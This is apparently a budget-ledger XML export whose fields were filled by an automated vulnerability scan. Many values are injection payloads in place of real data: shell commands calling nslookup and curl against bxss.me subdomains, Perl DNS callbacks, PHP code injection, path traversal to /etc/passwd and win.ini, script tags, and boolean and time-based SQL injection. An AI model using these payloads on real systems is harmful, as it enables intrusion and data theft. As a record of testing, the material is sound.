<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>bxss.me/t/xss.html?%00</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>gethostbyname(lc('hitbd'.'hseoiwhod9b67.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(81).chr(120).chr(85)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>".gethostbyname(lc("hitln"."emjarhbg7fad9.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(70).chr(102).chr(85)."</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>'.gethostbyname(lc('hitls'.'jowyoedd8408b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(82).chr(104).chr(77).'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>'.gethostbyname(lc('hityz'.'bkwvravx24e6b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(81).chr(118).chr(77).'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>".gethostbyname(lc("hitgk"."jupiluwtbf429.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(72).chr(112).chr(68)."</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'.gethostbyname(lc('hitbi'.'bvkwemfs482c6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(83).chr(121).chr(89).'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>${@print(md5(31337))}\</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>../1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>";print(md5(31337));$a="</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>file:///etc/passwd</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>|(nslookup${IFS}-q${IFS}cname${IFS}hitrvtczlydlp18ea1.bxss.me||curl${IFS}hitrvtczlydlp18ea1.bxss.me)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>&amp;(nslookup -q=cname hitpahkdkitig13548.bxss.me||curl hitpahkdkitig13548.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitpahkdkitig13548.bxss.me||curl hitpahkdkitig13548.bxss.me)&amp;`'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>../1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;cND2(9757)&lt;/ScRiPt&gt;</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'.gethostbyname(lc('hitcs'.'iqajdchzdcaa4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(71).chr(100).chr(87).'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>../../../../../../../../../../../../../../etc/passwd</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;cND2(9843)&lt;/ScRiPt&gt;</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>|echo hhvktr$()\ ohdmnj\nz^xyu||a #' |echo hhvktr$()\ ohdmnj\nz^xyu||a #|" |echo hhvktr$()\ ohdmnj\nz^xyu||a #</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>19765726</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>&amp;echo bugoig$()\ rxgluu\nz^xyu||a #' &amp;echo bugoig$()\ rxgluu\nz^xyu||a #|" &amp;echo bugoig$()\ rxgluu\nz^xyu||a #</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>echo kbajzv$()\ xnhhtr\nz^xyu||a #' &amp;echo kbajzv$()\ xnhhtr\nz^xyu||a #|" &amp;echo kbajzv$()\ xnhhtr\nz^xyu||a #</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>`(nslookup -q=cname hitxwzrdwkekec7e40.bxss.me||curl hitxwzrdwkekec7e40.bxss.me)`</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>../../../../../../../../../../../../../../windows/win.ini</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>|(nslookup -q=cname hitqyiwqursiu79527.bxss.me||curl hitqyiwqursiu79527.bxss.me)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>gethostbyname(lc('hitbl'.'fqzsjcreac10e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(71).chr(101).chr(72)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>../../../../../../../../../../../../../../etc/passwd</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU9563315</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>&amp;nslookup -q=cname hitsicoqbmtqk46acc.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitsicoqbmtqk46acc.bxss.me&amp;`'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1" OR 5*5=26 -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1' OR 5*5=25 or '5WJ6jsW8'='</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1' OR 5*5=26 or '5WJ6jsW8'='</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1" OR 5*5=25 or "aBmfHt55"="</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1" OR 5*5=26 or "aBmfHt55"="</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102*if(now()=sysdate(),sleep(15),0)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>941020'XOR(94102*if(now()=sysdate(),sleep(15),0))XOR'Z</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1; waitfor delay '0:0:15' -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1 waitfor delay '0:0:15' -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1) OR 25=(SELECT 25 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1)) OR 196=(SELECT 196 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
